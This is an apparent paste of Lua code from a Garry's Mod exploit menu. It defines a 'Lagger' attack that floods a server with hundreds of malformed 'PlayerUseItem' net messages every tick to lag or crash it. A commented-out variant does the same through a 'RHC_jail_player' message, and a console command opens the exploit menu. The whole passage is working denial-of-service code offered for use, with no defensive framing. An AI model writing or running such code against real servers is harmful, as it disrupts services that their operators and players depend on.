- addExploit( "53","Lagger #17", "discovered by triggered", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger18" ) then
- timer.Create("lagger18", 0,0, function()
- for i = 1, 800 do
- net.Start("PlayerUseItem")
- net.WriteInt(99999999999999999999999999999999999999999999999, 32)
- net.SendToServer()
- end
- end)
- ECNotify("Starting Lagger")
- else
- timer.Remove("lagger18")
- ECNotify("Stopping Lagger")
- end
- end);end
- /*
- local status = ValidNetString("RHC_jail_player")
- if (status) then
- ECPrint("Found Exploit: Lagger #17")
- addExploit( "53","Lagger #17", "discovered by triggered", function()
- surface.PlaySound("garrysmod/ui_click.wav")
- if !timer.Exists( "lagger18" ) then
- timer.Create("lagger18", 0,0, function()
- for i = 1, 800 do
- net.Start("RHC_jail_player")
- --net.WriteEntity(game.GetWorld())
- net.WriteFloat(-9999.999999999999999999999999999999999999999999)
- net.SendToServer()
- end
- end)
- ECNotify("Starting Lagger")
- else
- timer.Remove("lagger18")
- ECNotify("Stopping Lagger")
- end
- end);end
- */
- concommand.Add("exploits_open", function()
- menu:SetVisible(true)
- menu:MakePopup()
- menu:AlphaTo(255, 0.5, 0)
- hook.Add("RenderScreenspaceEffects", "menuBlur", function()
- DrawToyTown( 3, ScrH() )
- end)
- end)
- //
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement